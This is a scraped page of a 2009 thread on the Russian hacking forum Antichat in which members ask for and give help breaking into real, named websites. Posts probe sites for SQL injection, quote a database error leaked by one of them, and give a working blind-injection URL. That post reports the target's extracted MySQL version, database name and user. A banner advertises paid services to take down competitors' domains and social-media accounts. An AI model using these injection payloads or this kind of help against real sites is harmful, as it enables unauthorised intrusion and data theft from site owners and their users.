Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 566 из 2438

566

Опции темы

Поиск в этой теме

Опции просмотра

#5651

24.02.2009, 05:48

~~it's mу~~

Banned

Регистрация: 12.02.2009

Сообщений: 73

С нами: 9075206

Репутация: 171

Цитата:

Сообщение от l1ght

у меня сайт не пингуется, но если передать переменной значение вида ) or 1=1#', должен получится верный запрос (прошу проверить):

/add

имхо в запрос попадает &apos (в html &apos а при просмотре ')

Дело в том что выше постами было установлено, что апостроф фильтруется, а как я говорил ' это сделано для того, что бы красиво было глазам смотреть на "удавшийся" инъект. Вообще спасибо тебе за помощь, но ничего сделать нельзя так как апостроф нужно в любом случаю, что бы удовлетворить логику запроса

#5652

24.02.2009, 06:31

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

непонятная скуля.. да еще и сайт не быстр принайме у меня..

Цитата:

http://www.whimit.com/forum_read.php?f=17э&id=75739'

а как у вас? )

#5653

24.02.2009, 09:57

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

http://www.whimit.com/forum_read.php?f=17
Invalid query: db_query - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and g.id=gb.id order by g.id' at line 1

А больше хрен че добьешся... Все фильтрует че только можно даже group by или внатуре фиг поймешь..

#5654

24.02.2009, 10:17

~~*eXe*~~

Banned

Регистрация: 20.05.2008

Сообщений: 281

С нами: 9461137

Репутация: 575

__www.dpstyle.com.ua
не могу найти файл, чтобы править данные вмида на свои. Уже всё перерыл. Где они вообще могут быть?

#5655

24.02.2009, 15:20

budden

Участник форума

Регистрация: 26.07.2008

Сообщений: 267

С нами: 9364549

Репутация: 184

Нужен php-скрипт для удобной работы с базой оракл через веб-интерфейс. Т.е. что-то вроде rst-sql.php или phpmyadmin, но для Oracle.

#5656

24.02.2009, 15:38

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

budden, этот вопрос не для раздела уязвимости!

#5657

24.02.2009, 16:21

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

вообще сайт бажный какой-то

1. Там с нормальными параметрами не работает:

Код:

http://www.whimit.com/forum_read.php?f=17&id=75739

Код:

http://www.whimit.com/album_list.php?username=inmate051877lol

#5658

24.02.2009, 17:23

aka PSIH

Постоянный

Регистрация: 07.02.2006

Сообщений: 630

С нами: 10660753

Репутация: 676

Цитата:

Сообщение от *eXe*

__www.dpstyle.com.ua
не могу найти файл, чтобы править данные вмида на свои. Уже всё перерыл.

В админке смотрел?

Цитата:

Где они вообще могут быть?

В БД

Цитата:

Нужен php-скрипт для удобной работы с базой оракл через веб-интерфейс. Т.е. что-то вроде rst-sql.php или phpmyadmin, но для Oracle

phpOracleAdmin - ищи в гугле

#5659

24.02.2009, 19:14

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

http://lit.1september.ru/urok/index.php?SubjectID=100010'

Помогите, вроде скуля, а не крутится...

#5660

24.02.2009, 19:23

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Отправить сообщение для Gorev с помощью Yahoo

2 wildshaman

http://lit.1september.ru/urok/index.php?SubjectID=100010+AND+ASCII(SUBSTRING((se lect+user()),18,1))=x

я нашел слепухy

Version : 5.1.30-log
Database : dblit
User : webuser@localhost

Страница 566 из 2438

566

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход